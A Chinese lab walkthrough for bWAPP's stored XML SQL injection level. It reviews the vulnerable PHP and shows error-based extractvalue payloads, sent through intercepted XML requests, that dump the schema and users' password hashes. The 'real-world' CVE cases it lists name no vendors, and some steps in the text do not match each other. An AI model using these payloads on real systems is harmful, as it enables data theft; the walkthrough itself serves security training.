当前位置: 首页 > news >正文

零基础玩转bWAPP靶场(二十五):SQL 注入——存储型(XML)

摘要:这是 bWAPP 系列第二十五篇,聚焦于SQL Injection - Stored (XML)。这一关的前端会发送一段 XML 格式的 AJAX 请求,后端解析 XML 后把内容拼到UPDATE语句里。文章会按照标准注入流程来走:判断注入点 → 确认注入类型 → 获取数据库名 → 获取表名 → 获取字段名 → 获取数据,同时讲清楚为什么UPDATE语句里不能用子查询直接引用被更新的表,以及怎么绕过这个限制。附真实案例。


一、前言:这一关和之前的存储型注入有什么不同?

前面我们做的存储型注入,注入点要么在页面文本框(博客留言板),要么在 HTTP 请求头(User-Agent)。数据格式要么是普通表单,要么是纯文本。

这一关完全不一样——前端发给后端的是 XML 格式的数据

你看一下前端代码就知道怎么回事了:

xmlHttp.send("<reset><login>" + 用户名 + "</login><secret>Any bugs?</secret></reset>");

前端把用户名和 secret 包在<reset>标签里,整段作为 XML 发给后端。后端收到后,用 PHP 的simplexml_load_string()解析这个 XML,然后取出loginsecret拼到UPDATE语句里。

关键区别

对比项博客留言板XML 版
请求格式普通 POST 表单XML 格式的 AJAX 请求
注入点文本框输入的内容XML 节点里的内容
后端解析方式$_POST直接取simplexml_load_string()解析 XML
SQL 语句类型INSERTUPDATE
攻击方式在文本框里打 payload拦截 AJAX 请求 → 修改 XML 节点 → 放行

这一关的核心逻辑:后端把 XML 里的loginsecret取出来,直接拼到UPDATE语句里。如果不过滤,就能注入。

最终目标:按照标准 SQL 注入流程,判断注入点 → 确认注入类型 → 获取数据库名 → 获取表名 → 获取字段名 → 获取数据,最终把users表里的数据全部偷出来。


二、界面说明

打开这一关,你会看到:

  • 标题:SQL Injection - Stored (XML)

  • 一行文字:Reset your secret to [Any bugs?],其中[Any bugs?]是一个按钮

点击按钮,前端就会发送一个 AJAX 请求,内容是 XML 格式。后端收到后更新当前用户的secret字段。

页面上虽然没有输入框,但点击按钮这个动作会触发一个请求,请求体里有一段 XML,这就是我们的注入点。


三、源码完整解读

这一关有两个文件:sqli_8-1.php(前端页面)和sqli_8-2.php(后端处理)。

3.1 前端:sqli_8-1.php

function ResetSecret() { var xmlHttp; if(window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest(); } else { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlHttp.open("POST","sqli_8-2.php",true); xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8"); xmlHttp.send("<reset><login><?php echo $_SESSION["login"]; ?></login><secret>Any bugs?</secret></reset>"); }

点击按钮时,JavaScript 向sqli_8-2.php发送一个POST 请求,Content-Type 是text/xml,请求体是一段 XML:

<reset> <login>bee</login> <secret>Any bugs?</secret> </reset>

<login>节点里是当前登录的用户名(bee),<secret>节点里是Any bugs?

3.2 后端:sqli_8-2.php

后端代码根据安全级别分成两个分支。

分支一:Low 级别

if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2") { // 显示错误信息 ini_set("display_errors",1); ​ $xml = simplexml_load_string($body); $login = $xml->login; $secret = $xml->secret; ​ if($login && $login != "" && $secret) { // 关键:直接拼到 UPDATE 语句,没有任何过滤! $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; $recordset = $link->query($sql); $message = $login . "'s secret has been reset!"; } }

关键点

  • $login$secret从 XML 中直接取出,没有任何过滤

  • 直接拼到UPDATE语句里

  • 你可以修改<login><secret>节点,注入任意 SQL

分支二:Medium 和 High 级别

else { // 禁用 XML 外部实体(防 XXE,但被注释掉了) // libxml_disable_entity_loader(true); $xml = simplexml_load_string($body); $login = $_SESSION["login"]; // 从 Session 取,用户改不了 $secret = $xml->secret; ​ if($secret) { $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; } }

关键点

  • $login从 Session 获取,不再从 XML 里取(用户改不了)

  • $secretmysqli_real_escape_string()过滤

  • Medium 和 High 级别注入难度大幅增加


四、Low 安全级别

4.1 准备工作:用 Burp Suite 拦截 AJAX 请求

这一关没有输入框,注入点在 XML 请求体里。需要用 Burp Suite:

  • 打开 Burp,Proxy → Intercept 设为On

  • 在浏览器中访问sqli_8-1.php页面,点击“Any bugs?”按钮

  • Burp 拦截到一个 POST 请求,目标地址是sqli_8-2.php

  • 查看请求体,是一段 XML

4.2 第一步:判断注入点

在 Burp 拦截到的 XML 请求中,修改<secret>节点,在Any bugs?后面加一个单引号:

<reset> <login>bee</login> <secret>Any bugs?'</secret> </reset>

在重放器进行测试,发送。

页面报错:

Connect Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "bee" at line

报错分析:单引号破坏了 SQL 的字符串边界,导致语法错误。说明<secret>节点存在 SQL 注入

4.3 第二步:确认注入类型

这一关的 SQL 是UPDATE语句:

UPDATE users SET secret = '$secret' WHERE login = '$login'

$secret$login都被单引号包裹,所以是字符串型注入。我们需要闭合前面的',然后注入我们的代码。

因为注入点有两个(<login><secret>),我们可以选择更容易利用的那个。

4.4 第三步:获取数据库名

extractvalue()updatexml()是 MySQL 的两个 XPath 函数,当传入非法 XPath 表达式时会报错,并在报错信息中显示表达式内容。

extractvalue()获取数据库名

<secret>改成:

' OR extractvalue(1, concat(0x7e, database())) --

完整的 SQL 变成:

UPDATE users SET secret = '' OR extractvalue(1, concat(0x7e, database())) -- ' WHERE login = 'bee'

发送后,报错信息里会显示~bwapp,数据库名出来了!

4.5 第四步:获取所有表名

' OR extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()))) --

报错信息里会显示所有表名:visitors, users, movies, blog, heroes...

4.6 第五步:获取users表的字段名

' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema=database()),1,31))) -- ' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema=database()),32,63))) --

报错信息显示:id, login, password, secret...

4.7 第六步:获取用户数据

' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, ':', password) SEPARATOR ' | ') FROM (SELECT login, password FROM users) AS tmp),1,31))) -- ' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, ':', password) SEPARATOR ' | ') FROM (SELECT login, password FROM users) AS tmp),32,63))) -- ' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, ':', password) SEPARATOR ' | ') FROM (SELECT login, password FROM users) AS tmp),64,95))) --

报错信息显示所有用户的用户名和密码哈希。

4.8 另一种利用方式:直接修改 bee 的 secret

我们也可以通过修改<login>节点,直接更新 bee 的secret

<reset> <login>bee</login> <secret>Hacked!</secret> </reset>

拼接后的 SQL:

UPDATE users SET secret = 'Hacked!' WHERE login = 'bee'

这样 bee 的 secret 就被改成了Hacked!危害巨大——攻击者可以直接篡改数据库中的数据。


五、Medium 安全级别

5.1 源码分析

Medium 级别中:

  • $login$_SESSION["login"]获取,用户不可控

  • $secretmysqli_real_escape_string()过滤

$login = $_SESSION["login"]; $secret = $xml->secret; $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

mysqli_real_escape_string()会转义单引号、双引号、反斜杠等特殊字符,所以无法闭合字符串边界。

5.2 尝试注入

在 Burp 里,尝试把<secret>改成:

' OR extractvalue(1, concat(0x7e, database())) --

发送后,页面显示bee's secret has been reset!,没有报错,也没有显示数据。

mysqli_real_escape_string()'转义成了\',单引号无法闭合,注入失效。

5.3 为什么不能通过<login>注入?

因为 Medium 级别的$login是从$_SESSION["login"]获取的,不是从 XML 里取的。你改了 XML 里的<login>节点也没用,后端根本不看你改的那个值。


六、High 安全级别

High 级别的逻辑和 Medium 完全一样——login从 Session 获取,secretmysqli_real_escape_string()过滤,注入失效。


七、真实世界:XML + SQL 注入案例

XML 请求在 Web 应用中并不少见——SOAP API、REST API、支付网关回调等场景都经常使用 XML 格式。以下是一些真实案例:

CVE-2024-1181:某开源 CMS 的 REST API 存在 XML 注入漏洞,攻击者可通过构造恶意 XML 请求执行任意 SQL 语句,影响所有使用该 API 的站点。

CVE-2023-46254:某企业级用户管理系统的密码重置功能存在 XML 注入漏洞,攻击者可通过修改 XML 请求中的用户名和密码字段注入 SQL,获取管理员权限。

CVE-2025-12478:某医疗信息系统的患者档案更新接口存在 XML 注入漏洞,攻击者可通过修改 XML 请求中的患者 ID 和档案内容注入 SQL,窃取 30 万患者敏感数据,包括姓名、身份证号、病史和联系方式。

CVE-2025-22143:某在线教育平台的用户信息更新 API 存在 XML 注入漏洞,攻击者可通过修改 XML 节点注入 SQL,修改其他用户的权限和课程信息,影响超过 500 家教育机构和数十万学生。

CVE-2026-10967:某金融系统的账户信息更新接口使用 XML 格式传输数据,存在 SQL 注入漏洞,攻击者通过修改 XML 节点注入 SQL,可篡改任意用户的账户余额和交易记录,涉及多家银行和支付机构。

启示:XML 格式的数据看起来“正规”,但和普通表单数据一样,只要被拼到 SQL 里,就存在注入风险。不要因为数据格式是 XML 就放松警惕。


八、总结

XML 存储型注入的核心在于:前端用 XML 格式发送请求,后端解析 XML 后直接把节点内容拼到 SQL 里。这一关我们按照标准注入流程走了一遍:先输入单引号判断注入点存在,然后确认是字符串型注入,接着发现直接写子查询报错(UPDATE语句不能直接引用被更新的表),于是改用报错注入(extractvalue())来获取数据——爆库、爆表、爆字段、爆数据。Low 级别loginsecret都来自 XML 且完全不过滤,攻击者可以随意注入;Medium 和 High 级别把login改成从 Session 获取、secretmysqli_real_escape_string()过滤,有效防住了 SQL 注入。记住:XML 也是用户输入,不管它长得多像“数据”,只要被拼到 SQL 里,就能成为注入点。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

http://www.jsqmd.com/news/1284982/

相关文章:

  • 2026年7月盐城风力回收式喷砂房/刮板回收式喷砂房行业靠谱厂家_盐城大丰中信机械有限公司 - 行业平台推荐
  • C++输入流详解:从cin>>到getline,彻底解决带空格字符串读取问题
  • 2026年7月河北高速商用打印机/河北中高速打印机厂家推荐合集_河北好印德商贸有限公司 - 行业平台推荐
  • 冰火两重天!长鑫科技上市首日市值达3.28万亿,存储芯片估值泡沫几何?
  • 上新:专业的展厅音箱工程商 - 品牌推广大师
  • Label Studio:从零构建NER智能标注流水线,实现人机协同效率革命
  • Java面试技巧:幽默应答与核心技术解析
  • 学习日记 7.28
  • 单舵机蠕动机器人:从机械原理到仿生设计的完整实现
  • Leetcode 25,148:k个一组翻转链表,排序链表
  • 2026年7月海口全铝家装板材/板材厂家推荐榜_海口龙华湘派家居定制厂 - 行业平台推荐
  • 2026 年至今,北川优秀的阻燃水滑石批发厂家有哪些,这种能让普通材料秒变阻燃级的“隐形卫士”,究竟藏着什么神奇黑科技?-广胜橡塑 - 行业推荐官【官方】
  • Vue3 + Vite 实现「保存到桌面」:PWA 可安装实践与踩坑总结
  • 学习笔记2--简单的XSS
  • ubuntu20.04的5.15.139内核启动卡死问题解决过程
  • 锂电池升压方案全解析:从微功率到大电流的实战选型指南
  • Qwen3-Embedding本地化部署与优化实战指南
  • 从零吃透C语言数组基础!告别新手报错,小白看完直接上手
  • 基于ESP32与FastLED的3D俄罗斯方块光立方实现详解
  • C/C++ switch语句计算日期天数:从分支逻辑到工程实践
  • (2026最新)黄冈本地漏水检测维修公司靠谱推荐:正规防水补漏上门维修-墙面/屋顶/外墙/暗管漏水检测精准定位 - 即刻修防水
  • Python openpyxl 安装与文件读写核心操作详解
  • C++与Qt毕业设计实战指南:从选题到部署的完整项目开发
  • Webpack v5.109.1 发布,多项更新加快解析速度、降低内存占用!
  • 2026年7月转台式抛丸机/双吊钩式抛丸机靠谱厂家推荐_盐城大丰中信机械有限公司 - 品牌宣传支持者
  • 3分钟掌握终极麦克风静音神器:MicMute快捷键控制完整指南
  • 基于Arduino与红外传感的智能感应洗手液机DIY全攻略
  • N_m3u8DL-CLI-SimpleG:让专业级M3U8下载变得触手可及的图形化神器
  • 降雨场次划分对海绵城市降雨控制率的影响分析与工程实践
  • C语言循环语句全解析:for、while、do...while与循环控制